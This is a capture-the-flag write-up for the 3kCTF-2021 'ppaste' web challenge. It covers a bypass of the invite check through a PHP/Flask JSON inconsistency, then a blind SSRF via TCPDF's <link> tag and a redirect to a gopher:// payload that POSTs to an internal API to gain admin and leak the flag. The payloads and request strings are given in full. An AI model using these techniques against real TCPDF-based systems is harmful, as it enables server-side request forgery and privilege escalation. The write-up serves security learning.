3kCTF-2021 - ppaste writeup

17-05-2021 - rekter0

ppaste - 498pts - 1 solves - Author: rekter0

We've launched our first bugbounty program, Our triage team is eager to hear about your findings !

Bounty Program
https://app.intigriti.com/researcher/programs/ctf/3kctf2021/detail

Check assets in scope and whether you can leak a flag

Note:
- You need account at intigriti.com to view the scope
- Submit flag here to get CTF points
- Submit a report at intigriti gets you reputation points at intigriti


Hints
1. json inconsistencies

First Blood
1. Black Bauhinia

# Scope

ppaste is an internal tool we use to share pastes, and where we also store a flag, we're most interested if that could be leaked.
URL : https://ppaste.2021.3k.ctf.to/
SOURCE : https://github.com/rekter0/ctf/tree/main/2021-3kCTF/web/ppaste/ppaste

# Summary

Given repo has full env setup using docker-compose. The service has 2 apps, one is a public API in PHP and the other in an internal API written Python, with some static files for the front using jQuery.

The app requires an invite code to make an account which was not accessible
Once you have an account, you could create plaintext pastes
For each paste, you can export it in txt or pdf format

Note:

  • On July 2020, I have reported the TCPdf fail with protocol switching through redirects because of the regex, at first, they didn't think is an issue, but recently they have patched it in the latest version.

# Where's the flag ?

The flag is only returned through the public API, when the user is an admin, the goal is to get an admin account to leak the flag.

    case 'admin':
        $tU=whoami();
        if(!@$tU OR @$tU['priv']!==1) puts(0);
        $ret["invites"]=json_decode(qInternal("invites"),true);
        $ret["users"]  =json_decode(qInternal("users"),true);
        $ret["flag"]   =$flag;
        puts(1,$ret);
        break;

# Bypassing invite

When a guest user attempts to register, the app reaches here:

    case 'register':
        if(@$data['d']['user'] AND @$data['d']['pass']){
            if(!@$data['d']['invite']) puts(0);
            $checkInvite = @json_decode(@qInternal("invites",json_encode(array("invite"=>$data['d']['invite']))),true);
            if($checkInvite===FALSE) puts(0);
            if(uExists($data['d']['user'])) puts(0);
            $db->exec("INSERT INTO users(user,pass,priv) VALUES ('".ci($data['d']['user'])."' ,'".ci($data['d']['pass'])."' , '0')");
            if($db->lastInsertRowID()){
                puts(1);
            }else{
                puts(0);
            }
        }
        puts(0);
        break;

qInternal function code

function qInternal($endpoint,$payload=null){
    $url = 'http://localhost:8082/'.$endpoint;
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
    if($payload!==null){
        curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
    }
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $result = curl_exec($ch);
    curl_close($ch);
    return(@$result?$result:'false');
}

Internal API invites handler

@app.route('/invites', methods=['GET', 'POST'])
def invites():
    if request.method == 'POST':
        myJson = json.loads(request.data)
        if(myJson['invite'] in open('/var/www/invites.txt').read().split('\n')):
            return json.dumps(True)
        else:
            return json.dumps(False)
    return json.dumps(open('/var/www/invites.txt').read().split('\n'))

the idea was to cause some sort of inconsistencie in json data handling between the 2 APIs,

php > $f=-3.3e99999999999999;
php > var_dump($f);
float(-INF)
php > var_dump(json_encode(array("a"=>$f)));
bool(false)

PHP json_encode will return false when trying to encode INF, this will make the qInternal curl handler, when querying the internal API, make a POST request with empty body, which will throw an error trying to parse empty string

POST /invites HTTP/1.1
Host: localhost:8082
Accept: */*
Content-Type:application/json
Content-Length: 0
$ python3
>>> import json
>>> json.loads('')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python3.6/json/__init__.py", line 354, in loads
  [...]
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

Now the public API, which expects a valid json from the internal API, will recieve a string from flask status 500 error, making $checkInvite containing NULL
NULL!==False thus bypassing the invite code check

php > var_dump(json_decode("string",true));
NULL

# Blind SSRF through TCPdf and getting an admin account

Now that we have an account, we can create new pastes, allthough, the title will be stripped from whitespaces $data['d']['title'] = preg_replace("/\s+/", "", $data['d']['title']);

When calling for download paste as pdf, the app uses TCPdf as a pdf renderer:

    case 'download':
        if(@$data['d']['paste_id'] AND @$data['d']['type'] ){
            $tP=@sqlArray("SELECT * FROM pastes WHERE id='".ci($data['d']['paste_id'])."' limit 0,1")[0];
            [...]
            [...]
            if($data['d']['type']==='_pdf'){
                require_once('../TCPDF/config/tcpdf_config.php');
                require_once('../TCPDF/tcpdf.php');
                $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);
                $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);
                $pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
                $pdf->SetFont('helvetica', '', 9);
                $pdf->AddPage();
                $html = '<h2>'.$tP['title'].'</h2><br><h2>'.str_repeat("-", 40).'</h2><pre>'.htmlentities($tP['content'],ENT_QUOTES).'</pre>';
                $pdf->writeHTML($html, true, 0, true, 0);
                $pdf->lastPage();
                $pdf->Output(sha1(time()).'.pdf', 'D');
                exit;
            }
        }
        puts(0);
        break;

Since the title is stripped from whitespaces, classic payloads for SSRF using img tag won't work. So you have to go through TCPdf source code to find another way.
One of the interesting HTML tags that TCPdf parses and fetches it's hyperlink is link tag

        $matches = array();
        if (preg_match_all('/<link([^\>]*)>/isU', $html, $matches) > 0) {
            foreach ($matches[1] as $key => $link) {
                $type = array();
                if (preg_match('/type[\s]*=[\s]*"text\/css"/', $link, $type)) {
                    $type = array();
                    preg_match('/media[\s]*=[\s]*"([^"]*)"/', $link, $type);
                    // get 'all' and 'print' media, other media types are discarded
                    // (all, braille, embossed, handheld, print, projection, screen, speech, tty, tv)
                    if (empty($type) OR (isset($type[1]) AND (($type[1] == 'all') OR ($type[1] == 'print')))) {
                        $type = array();
                        if (preg_match('/href[\s]*=[\s]*"([^"]*)"/', $link, $type) > 0) {
                            // read CSS data file
                            $cssdata = TCPDF_STATIC::fileGetContents(trim($type[1]));
                            if (($cssdata !== FALSE) AND (strlen($cssdata) > 0)) {
                                $css = array_merge($css, TCPDF_STATIC::extractCSSproperties($cssdata));
                            }
                        }
                    }
                }
            }
        }

Funny regex matching, we could introduce it without any whitespaces, it has to be with type="text/css", and href content will be queried $cssdata = TCPDF_STATIC::fileGetContents(trim($type[1]));

Example payload

<linktype="text/css"href="[%URL%]">

Now, by looking at fileGetContents method from TCPDF_STATIC Class

public static function fileGetContents($file) {
        $alt = array($file);
        //
        if ((strlen($file) > 1)
            && ($file[0] === '/')
            && ($file[1] !== '/')
            && !empty($_SERVER['DOCUMENT_ROOT'])
            && ($_SERVER['DOCUMENT_ROOT'] !== '/')
        ) {
            $findroot = strpos($file, $_SERVER['DOCUMENT_ROOT']);
            if (($findroot === false) || ($findroot > 1)) {
            $alt[] = htmlspecialchars_decode(urldecode($_SERVER['DOCUMENT_ROOT'].$file));
            }
        }
        //
        $protocol = 'http';
        if (!empty($_SERVER['HTTPS']) && (strtolower($_SERVER['HTTPS']) != 'off')) {
            $protocol .= 's';
        }
        //
        $url = $file;
        if (preg_match('%^//%', $url) && !empty($_SERVER['HTTP_HOST'])) {
            $url = $protocol.':'.str_replace(' ', '%20', $url);
        }
        $url = htmlspecialchars_decode($url);
        $alt[] = $url;
        //
        if (preg_match('%^(https?)://%', $url)
            && empty($_SERVER['HTTP_HOST'])
            && empty($_SERVER['DOCUMENT_ROOT'])
        ) {
            $urldata = parse_url($url);
            if (empty($urldata['query'])) {
                $host = $protocol.'://'.$_SERVER['HTTP_HOST'];
                if (strpos($url, $host) === 0) {
                    // convert URL to full server path
                    $tmp = str_replace($host, $_SERVER['DOCUMENT_ROOT'], $url);
                    $alt[] = htmlspecialchars_decode(urldecode($tmp));
                }
            }
        }
        //
        if (isset($_SERVER['SCRIPT_URI'])
            && !preg_match('%^(https?|ftp)://%', $file)
            && !preg_match('%^//%', $file)
        ) {
            $urldata = @parse_url($_SERVER['SCRIPT_URI']);
            $alt[] = $urldata['scheme'].'://'.$urldata['host'].(($file[0] == '/') ? '' : '/').$file;
        }
        //
        $alt = array_unique($alt);
        foreach ($alt as $path) {
            if (!self::file_exists($path)) {
                continue;
            }
            $ret = @file_get_contents($path);
            if ( $ret != false ) {
                return $ret;
            }
            // try to use CURL for URLs
            if (!ini_get('allow_url_fopen')
                && function_exists('curl_init')
                && preg_match('%^(https?|ftp)://%', $path)
            ) {
                // try to get remote file data using cURL
                $crs = curl_init();
                curl_setopt($crs, CURLOPT_URL, $path);
                curl_setopt($crs, CURLOPT_BINARYTRANSFER, true);
                curl_setopt($crs, CURLOPT_FAILONERROR, true);
                curl_setopt($crs, CURLOPT_RETURNTRANSFER, true);
                if ((ini_get('open_basedir') == '') && (!ini_get('safe_mode'))) {
                    curl_setopt($crs, CURLOPT_FOLLOWLOCATION, true);
                }
                curl_setopt($crs, CURLOPT_CONNECTTIMEOUT, 5);
                curl_setopt($crs, CURLOPT_TIMEOUT, 30);
                curl_setopt($crs, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($crs, CURLOPT_SSL_VERIFYHOST, false);
                curl_setopt($crs, CURLOPT_USERAGENT, 'tc-lib-file');
                $ret = curl_exec($crs);
                curl_close($crs);
                if ($ret !== false) {
                    return $ret;
                }
            }
        }
        return false;
    }

then it will reach to file_exists method

public static function file_exists($filename) {
        if (preg_match('|^https?://|', $filename) == 1) {
            return self::url_exists($filename);
        }
        if (strpos($filename, '://')) {
            return false; // only support http and https wrappers for security reasons
        }
        return @file_exists($filename);
    }

and that will call for url_exists method which will fetch the given URL with redirects enabled if safe_mode is off and no open_basedir was set, which is the default settings for PHP

        if ((ini_get('open_basedir') == '') && (!ini_get('safe_mode'))) {
            curl_setopt($crs, CURLOPT_FOLLOWLOCATION, true);
        }

Poor protocol enforcing only through regex, with redirects enabled, opens possibily to use GOPHER so we could talk raw tcp with any protcol.
Since the internal API, requires POST method to turn a user into an admin, this approach is perfect for this purpose

@app.route('/users', methods=['GET', 'POST'])
def users():
    if request.method == 'POST':
        myJson = json.loads(request.data)
        if(myJson['user']):
            qDB("UPDATE users SET priv=not(priv) WHERE user=? ","setAdmin",myJson['user'])
            return json.dumps(True)
        else:
            return json.dumps(False)
    return json.dumps(qDB("SELECT user,priv FROM users"))

The final payload to be

<linktype="text/css"href="http://[%YOUR_HOST%]/some_redirect">

And you host a redirection to gopher doing POST request to internal API

location: gopher://localhost:8082/_POST%20%2Fusers%20HTTP%2F1.1%0AHost%3A%20localhost%0AContent-Length%3A%2024%0AContent-type%3A%20application%2Fjson%0A%0A%7B%22user%22%3A%22ewrwewrweFrF%22%7D

Now, that we are an admin we could just request the flag

POST /api.php HTTP/1.1
Host: ppaste.2021.3k.ctf.to
Content-Length: 18
Content-Type: application/json
Cookie: PHPSESSID=plu3hrsb2imeq6tt5lrf18g4v9

{"action":"admin"}

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
[...]

{"STATUS":"success","DATA":{"invites":["..."],"users":[...],"flag":"3k{5c4b3c7aeac496be36cbd7bca4061597}"}}

php - tcpdf - ssrf - flask - json - 3kctf

CONTACT



rekter0 © 2022